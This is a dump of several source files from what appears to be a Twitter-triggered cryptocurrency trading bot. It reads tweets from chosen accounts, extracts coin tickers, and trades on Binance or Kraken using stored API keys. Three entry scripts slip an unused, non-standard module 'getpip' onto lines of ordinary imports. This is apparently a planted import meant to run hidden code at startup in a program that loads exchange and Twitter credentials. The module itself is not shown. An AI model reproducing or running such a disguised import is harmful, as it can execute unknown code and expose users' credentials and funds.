self.exchange_data.buy_sell_vols[self.buy_coin] 95 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate,'status':status}) 96 | t.start() 97 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n') 98 | successful=True 99 | 100 | except Exception as e: 101 | print('\nTried executing trade with ticker %s/%s, did not work' % (self.buy_coin,self.sell_coin)) 102 | print(e) 103 | 104 | else: 105 | # Loop over possible coin string lengths and get coins, firstflag is the first try to trade, successful is a flag if traded or not 106 | firstflag = True 107 | 108 | # String manipulation and finding coins 109 | full_text = full_text.replace('\n', ' ') 110 | full_text = full_text.replace('/', ' ') 111 | for i in [3,4,5,2,6]: 112 | pairs = self.substring_matches(full_text, i, firstflag) 113 | firstflag = False 114 | if not pairs[0]: 115 | continue 116 | 117 | # Loop over the possible buy coins and try to trade 118 | # Currently will only execute 1 trade which is the first in the trade 119 | for j in range(len(pairs[0])): 120 | # Get coin volume from cached trade volumes and execute trade 121 | try: 122 | pair = [pairs[0][j], pairs[1]] 123 | coin_vol = self.exchange_data.buy_sell_vols[pair[0]] 124 | 125 | # Start the buy thread 126 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate, 'status':status}) 127 | t.start() 128 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n') 129 | successful = True 130 | 131 | # Break means only execute on one coin 132 | break 133 | 134 | except Exception as e: 135 | print('\nTried executing trade with ticker %s, did not work' % str(pair)) 136 | # print(traceback.format_exc()) 137 | print(e) 138 | if successful: 139 | break 140 | 141 | print('\n\n'+'-'*15 + ' New Tweet ' + '-' * 15) 142 | print('%s\n@%s - %s:\n\n"%s"' % (datetime.now().strftime('%H:%M:%S'), status.user.screen_name, status.created_at.strftime('%b %d at %H:%M:%S'), full_text)) 143 | 144 | if not successful: 145 | print('\nNo valid tickers to trade in tweet') 146 | 147 | 148 | except Exception as e: 149 | print('\nError when handling tweet') 150 | print(e) 151 | 152 | print('\nRestarting stream\n') 153 | 154 | # Streaming error handling 155 | def on_error(self, status_code): 156 | print('Error in streaming: Code %d, sleeping for 10' % status_code) 157 | if status_code == 420: 158 | print('Wait for cooloff period to try again\n\nExiting') 159 | exit() 160 | time.sleep(10) 161 | print('\nRestarting stream\n') 162 | 163 | 164 | # Stream tweets 165 | def stream_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, keywords=None, log_file=None, buy_coin=None, full_ex=True, exchange_data=None, cancel=[False]): 166 | 167 | # Set and list of ids of users tracked 168 | user_ids_list = [i['id'] for i in users.values()] 169 | user_ids_set = [int(i) for i in user_ids_list] 170 | 171 | # Get exchange tickers and calculate volumes to buy for each tradeable crypto 172 | coin_subset = None 173 | if buy_coin: 174 | coin_subset = [buy_coin] 175 | 176 | if exchange_data is None: 177 | exchange_data = exchange_pull(exchange, hold_times, base_coin=sell_coin, coin_subset=coin_subset) 178 | # Create daemon thread which exits when other thread exits 179 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(buy_volume,20*60)) 180 | daemon.setDaemon(True) 181 | daemon.start() 182 | time.sleep(3) 183 | 184 | # Create the Tweepy streamer 185 | listener = Listener(users, user_ids_set, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, log_file=log_file, buy_coin=buy_coin, full_ex=full_ex) 186 | stream = Stream(auth=api.auth, listener=listener, wait_on_rate_limit=True, wait_on_rate_limit_notify=True) 187 | 188 | # Start stream and query prices 189 | print('\nStarting stream\n') 190 | 191 | 192 | # Try catch for different termination procedures 193 | while 1: 194 | try: 195 | # Start streaming tweets 196 | if keywords: 197 | stream.filter(follow=user_ids_list,track=keywords) 198 | else: 199 | stream.filter(follow=user_ids_list) 200 | 201 | # Keyboard interrupt kills the whole program 202 | except KeyboardInterrupt as e: 203 | stream.disconnect() 204 | print('\n\n'+'-'*50) 205 | print('/'*15+' Stopped Stream '+'\\'*15) 206 | print('-'*50) 207 | print('\nWaiting for trades to finish\n') 208 | cancel[0] = True 209 | raise KeyboardInterrupt 210 | 211 | # Disconnect the stream and kill the thread looking for prices 212 | finally: 213 | print('\nDisconnected Stream\n') 214 | # exchange_data.stopflag = True 215 | stream.disconnect() 216 | 217 | 218 | -------------------------------------------------------------------------------- /twitter_binance.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | import json,getpip 3 | import time 4 | from datetime import datetime 5 | from binance_api import * 6 | from stream_multiple import * 7 | from query import * 8 | import ast 9 | import traceback 10 | 11 | # Checks if a tweet from a user contains a particular trigger word 12 | def tweepy_pull(api, user, pair, crypto, hold_time, volume, simulate, stream, wait_tweet=True, logfile=None, print_timer=False, full_ex=True): 13 | 14 | exchange = binance_api(api_keys, logfile=logfile) 15 | 16 | # Stream tweets 17 | if stream: 18 | while 1: 19 | # Users specified with keywords 20 | users = {user[0]:{'id':str(user[1]),'keywords':crypto['triggers']}} 21 | 22 | # From steam_multiple.py file 23 | try: 24 | stream_tweets(api, users, pair[1].upper(), hold_time, volume, simulate, exchange, keywords=crypto['triggers'], buy_coin=pair[0].upper(), full_ex=full_ex) 25 | except Exception as e: 26 | print(e) 27 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 28 | 29 | # Query tweets 30 | else: 31 | # From query.py file 32 | try: 33 | query_tweets(api, exchange, user, pair, crypto, hold_time, volume, simulate, wait_tweet, print_timer, full_ex=full_ex) 34 | except Exception as e: 35 | print(traceback.print_exc()) 36 | print(e) 37 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 38 | 39 | 40 | # Loads a json file 41 | def load_json(filepath): 42 | with open(filepath) as json_file: 43 | return json.load(json_file) 44 | 45 | # Command line: python twitter_binance_futures.py l (save trade logs) p (print query intervals) 46 | 47 | # Load keys, keywords and users 48 | api_keys = load_json('../keys.json') 49 | users = load_json('users.json') 50 | cryptos = load_json('keywords.json') 51 | 52 | if 'prev_trades' in os.listdir(): 53 | full_ex = False 54 | else: 55 | full_ex = True 56 | 57 | twitter_keys = {'consumer_key':api_keys['twitter_keys']['consumer_key'],'consumer_secret':api_keys['twitter_keys']['consumer_secret'],'access_token_key':api_keys['twitter_keys']['access_token_key'],'access_token_secret': api_keys['twitter_keys']['access_token_secret']} 58 | 59 | # Use second group of twitter api keys 60 | if '2' in sys.argv: 61 | api_keys2 = load_json('../twitter_keys2.json') 62 | twitter_keys = {'consumer_key':api_keys2['twitter_keys']['consumer_key'],'consumer_secret':api_keys2['twitter_keys']['consumer_secret'],'access_token_key':api_keys2['twitter_keys']['access_token_key'],'access_token_secret': api_keys2['twitter_keys']['access_token_secret']} 63 | 64 | # Get user inputs 65 | print('\nEnter crypto to buy: '+'%s '* len(cryptos) % tuple(cryptos.keys())) 66 | skip_input = False 67 | 68 | # Buy currency 69 | crypto = input() 70 | if not crypto: 71 | crypto = 'doge' 72 | skip_input = True 73 | buy_coin = cryptos[crypto] 74 | 75 | # Sell currency 76 | if not skip_input: 77 | print('\nEnter currency to sell: '+'%s '* len(cryptos) % tuple(cryptos.keys())) 78 | sell_coin = cryptos[input()] 79 | else: 80 | sell_coin = cryptos['btc'] 81 | 82 | pair = [buy_coin['symbol'], sell_coin['symbol']] 83 | 84 | # User to track 85 | if not skip_input: 86 | print('\nUser: '+'%s '* len(users) % tuple(users.keys())) 87 | username = input() 88 | if username: 89 | user = users[username] 90 | else: 91 | user = users['me'] 92 | skip_input = True 93 | else: 94 | user = users['me'] 95 | 96 | # Time after buying before selling 97 | hold_time = [1] 98 | if not skip_input: 99 | print('\nHodl time(s) seconds e.g. 200 or 30,60,90: ') 100 | hold_time = input() 101 | if not hold_time: 102 | hold_time = [30,60,90] 103 | 104 | hold_time = ast.literal_eval('['+hold_time+']') 105 | print(hold_time) 106 | 107 | print('\nHodl time: '+'%.2fs '*len(hold_time) % tuple(hold_time)) 108 | 109 | # Amount of crypto to buy (Fastest if fewest queries before buying) 110 | if not skip_input: 111 | print('\nAmount to buy in $: ') 112 | volume = input() 113 | if not volume: 114 | if crypto == 'doge': 115 | volume = 100 116 | elif crypto == 'btc': 117 | volume = 0.0002 118 | else: 119 | volume = float(volume) 120 | else: 121 | volume = 50 122 | print('\nVolume $%.8f' % (volume)) 123 | 124 | # Simulation trade or real trade 125 | simulate = True 126 | if not skip_input: 127 | print('\nTest y/n:') 128 | test = input() 129 | simulate = True 130 | if test == 'n': simulate = False 131 | 132 | # User to track, empty to skip tweet waiting 133 | stream = True 134 | if not skip_input: 135 | print('\nStream or query s/q: ') 136 | stream_input = input() 137 | if stream_input != 'q': 138 | stream = True 139 | else: 140 | stream = False 141 | 142 | if simulate: 143 | print('\nSIMULATION TRADING') 144 | 145 | # Inintilizing a file of jsons to log trades 146 | logfile = False 147 | if 'l' in sys.argv: 148 | logfile = True 149 | 150 | # Use twitter API 151 | auth = tweepy.OAuthHandler(twitter_keys['consumer_key'], twitter_keys['consumer_secret']) 152 | auth.set_access_token(twitter_keys['access_token_key'], twitter_keys['access_token_secret']) 153 | api = tweepy.API(auth) 154 | 155 | # Execute function 156 | tweepy_pull(api, user, pair, buy_coin, hold_time, volume, simulate, stream, wait_tweet=not skip_input, logfile=logfile, full_ex=full_ex) 157 | -------------------------------------------------------------------------------- /twitter_exchanges.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | import json 3 | import time,getpip 4 | import ast 5 | import os 6 | from datetime import datetime 7 | import traceback 8 | from binance_api import * 9 | from stream_multiple import * 10 | from query_multiple import * 11 | 12 | # Checks if a tweet from a user contains a particular trigger word 13 | def tweepy_pull(api, users, sell_coin, hold_times, buy_volume, simulate, stream, wait_tweet=True, logfile=None, print_timer=False, full_ex=True, both=False, account_json=None): 14 | 15 | # Create exchange object and start querying prices as a daemon (cancels when the main thread ends) 16 | exchange = binance_api(api_keys, logfile=logfile, block=both, account_json=account_json) 17 | exchange_data = exchange_pull(exchange, hold_times, base_coin=sell_coin) 18 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(volume,20*60)) 19 | daemon.setDaemon(True) 20 | daemon.start() 21 | time.sleep(3) 22 | 23 | cancel = [False] 24 | 25 | # Stream tweets 26 | if not both: 27 | if stream: 28 | # From stream_multiple.py file 29 | while 1: 30 | try: 31 | stream_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, full_ex=full_ex, exchange_data=exchange_data, cancel=cancel) 32 | except KeyboardInterrupt: 33 | print('\nExiting main thread') 34 | break 35 | except Exception as e: 36 | print('%s Error in streaming - %s' % (datetime.now().strftime('%m/%d %H:%M:%S'), e)) 37 | 38 | 39 | else: 40 | # Query tweets from query.py file 41 | query_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, print_timer=print_timer, full_ex=full_ex, exchange_data=exchange_data, cancel=cancel) 42 | 43 | # Sleeping wait for keyboard interrupt 44 | while 1: 45 | try: 46 | time.sleep(2000) 47 | except KeyboardInterrupt: 48 | print('\nSetting cancel to true') 49 | cancel[0] = True 50 | time.sleep(2) 51 | while threading.active_count() > 2: 52 | time.sleep(1) 53 | print('There are %d trades left to sell' % (threading.active_count() - 2)) 54 | print('\nExiting main thread') 55 | exit() 56 | else: 57 | # Start the query as a thread with cancellling mechanism 58 | t1 = threading.Thread(target=query_tweets, args=(api, users, sell_coin, hold_times, buy_volume, simulate, exchange), kwargs={'print_timer':print_timer, 'full_ex':full_ex, 'exchange_data':exchange_data, 'cancel':cancel}) 59 | t1.start() 60 | 61 | # Stream tweets 62 | while 1: 63 | try: 64 | stream_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, full_ex=full_ex, exchange_data=exchange_data, cancel=cancel) 65 | except KeyboardInterrupt: 66 | break 67 | except Exception as e: 68 | print('%s Error in streaming - %s' % (datetime.now().strftime('%m/%d %H:%M:%S'), e)) 69 | 70 | print('\nSetting cancel to true') 71 | cancel[0] = True 72 | while threading.active_count() > 4 + len(users): 73 | print('\nThere are %d trades left to clear' % (threading.active_count() - 4 - len(users))) 74 | time.sleep(20) 75 | print('\nExiting main thread') 76 | exit() 77 | 78 | 79 | # Loads a json file 80 | def load_json(filepath): 81 | with open(filepath) as json_file: 82 | return json.load(json_file) 83 | 84 | def read_twitter_keys(keys): 85 | twitter_keys = {'consumer_key':keys['twitter_keys']['consumer_key'],'consumer_secret':keys['twitter_keys']['consumer_secret'],'access_token_key':keys['twitter_keys']['access_token_key'],'access_token_secret': keys['twitter_keys']['access_token_secret']} 86 | return twitter_keys 87 | 88 | # Command line: python twitter_binance_futures.py l (save trade logs) p (print query intervals) 2 (2nd set of twitter keys) 89 | 90 | # Load keys, keywords and users 91 | api_keys = load_json('../keys.json') 92 | cryptos = load_json('keywords.json') 93 | twitter_keys = read_twitter_keys(api_keys) 94 | 95 | 96 | 97 | # Get command line user inputs 98 | full_ex = True 99 | if 'prev_trades' in os.listdir(): 100 | json_files = list(filter(lambda x : x.endswith('.json') and x not in ['keywords.json','users.json'],os.listdir())) 101 | print('\nChoose accounts to follow: '+'%s ' * len(json_files) % tuple([file+' ('+str(i)+') ' for i, file in enumerate(json_files)])) 102 | if 'query_futures.py' in os.listdir(): full_ex = False 103 | accounts = input() 104 | account_json_str = json_files[int(accounts)] 105 | exchange_keywords = load_json(account_json_str) 106 | else: 107 | account_json_str = 'exchange_keywords.json' 108 | exchange_keywords = load_json(account_json_str) 109 | 110 | 111 | # Users to track 112 | print('\nUsers: e.g. "coinbase,CoinbasePro,binance" or "all" from: '+'%s '* len(exchange_keywords) % tuple(list(exchange_keywords.keys()))) 113 | usernames = input() 114 | skip_input = False 115 | if not usernames: 116 | users = ['ArbitrageDaddy'] 117 | skip_input = True 118 | elif usernames == 'all': 119 | users = list(filter(lambda x : x not in ['ArbitrageDaddy', 'elonmusk'],[i for i in exchange_keywords.keys()])) 120 | else: 121 | users = usernames.split(',') 122 | print(users) 123 | users = {key:exchange_keywords[key] for key in users} 124 | 125 | # Sell currency 126 | print('\nEnter currency to sell: btc, usdt') 127 | sell_coin = 'BTC' 128 | if not skip_input: 129 | sell_input = input() 130 | if not sell_input: 131 | sell_coin = 'BTC' 132 | skip_input = True 133 | else: 134 | sell_coin = cryptos[sell_input]['symbol'] 135 | skip_input = False 136 | 137 | 138 | # Time after buying before selling 139 | hold_time = [5] 140 | if not skip_input: 141 | print('\nHodl time(s) seconds e.g. 200 or 30,60,90: ') 142 | hold_time = input() 143 | if not hold_time: 144 | hold_time = [30,60,90] 145 | skip_input = True 146 | else: 147 | hold_time = ast.literal_eval('['+hold_time+']') 148 | print(hold_time) 149 | 150 | print('\nHodl time : '+'%.2fs '*len(hold_time) % tuple(hold_time)) 151 | 152 | # Amount in USD to buy 153 | if not skip_input: 154 | print('\nVolume in USD: ') 155 | volume = input() 156 | if not volume: 157 | volume = 20 158 | else: 159 | volume = float(volume) 160 | else: 161 | volume = 20 162 | print('\nVolume %.2f USD' % (volume)) 163 | 164 | # Simulation trade or real trade 165 | simulate = True 166 | if not skip_input: 167 | print('\nTest y/n:') 168 | test = input() 169 | simulate = True 170 | if test == 'n': simulate = False 171 | 172 | # User to track, empty to skip tweet waiting 173 | stream, both = True, False 174 | if not skip_input: 175 | print('\nStream or query s/q: ') 176 | stream_input = input() 177 | if stream_input == 'b': 178 | both = True 179 | elif stream_input != 'q': 180 | stream = True 181 | else: 182 | stream = False 183 | 184 | # Alternating use of twitter api keys 185 | if '2' in sys.argv: 186 | api_keys_2 = load_json('../twitter_keys2.json') 187 | print('\nUsing twitter keys 2') 188 | twitter_keys = read_twitter_keys(api_keys_2) 189 | elif '3' in sys.argv: 190 | api_keys_3 = load_json('../twitter_keys3.json') 191 | print('\nUsing twitter keys 3') 192 | twitter_keys = read_twitter_keys(api_keys_3) 193 | 194 | 195 | if simulate: 196 | print('\n'+'-'*10+' SIMULATION TRADING '+'-'*10+'\n') 197 | else: 198 | print('\n'+'-'*10+' LIVE TRADING '+'-'*10+'\n') 199 | 200 | # Inintilizing a file of jsons to log trades 201 | logfile = False 202 | if 'l' in sys.argv: 203 | logfile = True 204 | 205 | print_timer = False 206 | if 'p' in sys.argv: 207 | print_timer = True 208 | 209 | # Use twitter API 210 | auth = tweepy.OAuthHandler(twitter_keys['consumer_key'], twitter_keys['consumer_secret']) 211 | auth.set_access_token(twitter_keys['access_token_key'], twitter_keys['access_token_secret']) 212 | api = tweepy.API(auth) 213 | 214 | # Execute function 215 | tweepy_pull(api, users, sell_coin, hold_time, volume, simulate, stream, wait_tweet=not skip_input, logfile=logfile, full_ex=full_ex, print_timer=print_timer, both=both, account_json=account_json_str[:-5]) 216 | 217 | 218 | -------------------------------------------------------------------------------- /twitter_kraken.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | import json 3 | import time,getpip 4 | from datetime import datetime 5 | from kraken_api import * 6 | from stream import * 7 | from query import * 8 | import ast 9 | 10 | # Checks if a tweet from a user contains a particular trigger word 11 | def tweepy_pull(api, user, pair, crypto, hold_time, volume, simulate, stream, wait_tweet=True, logfile=None, print_timer=False): 12 | 13 | exchange = kraken_api(api_keys, logfile=logfile) 14 | 15 | # Stream tweets 16 | if stream: 17 | while 1: 18 | user_ids = [str(user[1])] 19 | try: 20 | stream_tweets(api, user_ids, set(user_ids), pair, hold_time, volume, simulate, exchange, keywords=crypto['triggers']) 21 | except Exception as e: 22 | print(e) 23 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S'))) 24 | 25 | # Query tweets 26 | else: 27 | twitter_q = Twitter_Query(api, exchange) 28 | twitter_q.query(user, pair, crypto, hold_time, volume, simulate, wait_tweet, print_timer) 29 | 30 | # Loads a json file 31 | def load_json(filepath): 32 | with open(filepath) as json_file: 33 | return json.load(json_file) 34 | 35 | # Load keys, keywords and users 36 | api_keys = load_json('../keys.json') 37 | users = load_json('users.json') 38 | cryptos = load_json('keywords.json') 39 | 40 | twitter_keys = {'consumer_key':api_keys['twitter_keys']['consumer_key'],'consumer_secret':api_keys['twitter_keys']['consumer_secret'],'access_token_key':api_keys['twitter_keys']['access_token_key'],'access_token_secret': api_keys['twitter_keys']['access_token_secret']} 41 | 42 | # Use second group of twitter api keys 43 | if '2' in sys.argv: 44 | api_keys2 = load_json('../twitter_keys2.json') 45 | twitter_keys = {'consumer_key':api_keys2['twitter_keys']['consumer_key'],'consumer_secret':api_keys2['twitter_keys']['consumer_secret'],'access_token_key':api_keys2['twitter_keys']['access_token_key'],'access_token_secret': api_keys2['twitter_keys']['access_token_secret']} 46 | 47 | # Get user inputs 48 | print('\nEnter crypto to buy: '+'%s '* len(cryptos) % tuple(cryptos.keys())) 49 | skip_input = False 50 | 51 | # Buy currency 52 | crypto = input() 53 | if not crypto: 54 | crypto = 'doge' 55 | skip_input = True 56 | buy_coin = cryptos[crypto] 57 | 58 | # Sell currency 59 | if not skip_input: 60 | print('\nEnter currency to sell: '+'%s '* len(cryptos) % tuple(cryptos.keys())) 61 | sell_coin = cryptos[input()] 62 | else: 63 | sell_coin = cryptos['btc'] 64 | 65 | pair = [buy_coin['symbol'], sell_coin['symbol']] 66 | 67 | # User to track 68 | if not skip_input: 69 | print('\nUser: '+'%s '* len(users) % tuple(users.keys())) 70 | username = input() 71 | if username: 72 | user = users[username] 73 | else: 74 | user = users['me'] 75 | skip_input = True 76 | else: 77 | user = users['me'] 78 | 79 | # Time after buying before selling 80 | hold_time = [1] 81 | if not skip_input: 82 | print('\nHodl time(s) seconds e.g. 200 or 30,60,90: ') 83 | hold_time = input() 84 | if not hold_time: 85 | hold_time = [30,60,90] 86 | 87 | hold_time = ast.literal_eval('['+hold_time+']') 88 | print(hold_time) 89 | 90 | print('\nHodl time :'+'%.2fs '*len(hold_time) % tuple(hold_time)) 91 | 92 | # Amount of crypto to buy (Fastest if fewest queries before buying) 93 | if not skip_input: 94 | print('\nVolume in crypto: ') 95 | volume = input() 96 | if not volume: 97 | if crypto == 'doge': 98 | volume = 100 99 | elif crypto == 'btc': 100 | volume = 0.0002 101 | else: 102 | volume = float(volume) 103 | else: 104 | volume = 50 105 | print('\nVolume %.8f %s' % (volume, buy_coin['symbol'])) 106 | 107 | # Simulation trade or real trade 108 | simulate = True 109 | if not skip_input: 110 | print('\nTest y/n:') 111 | test = input() 112 | simulate = True 113 | if test == 'n': simulate = False 114 | 115 | # User to track, empty to skip tweet waiting 116 | stream = True 117 | if not skip_input: 118 | print('\nStream or query s/q: ') 119 | stream_input = input() 120 | if stream_input != 'q': 121 | stream = True 122 | else: 123 | stream = False 124 | 125 | if simulate: 126 | print('\nSIMULATION TRADING') 127 | 128 | # Inintilizing a file of jsons to log trades 129 | logfile = False 130 | if 'l' in sys.argv: 131 | logfile = True 132 | 133 | # Use twitter API 134 | auth = tweepy.OAuthHandler(twitter_keys['consumer_key'], twitter_keys['consumer_secret']) 135 | auth.set_access_token(twitter_keys['access_token_key'], twitter_keys['access_token_secret']) 136 | api = tweepy.API(auth) 137 | 138 | # Execute function 139 | tweepy_pull(api, user, pair, buy_coin, hold_time, volume, simulate, stream, wait_tweet=not skip_input, logfile=logfile) -------------------------------------------------------------------------------- /users.json: -------------------------------------------------------------------------------- 1 | {"elon":["elonmusk",44196397], "me":["ArbitrageDaddy", 1351770767130673152]} 2 | --------------------------------------------------------------------------------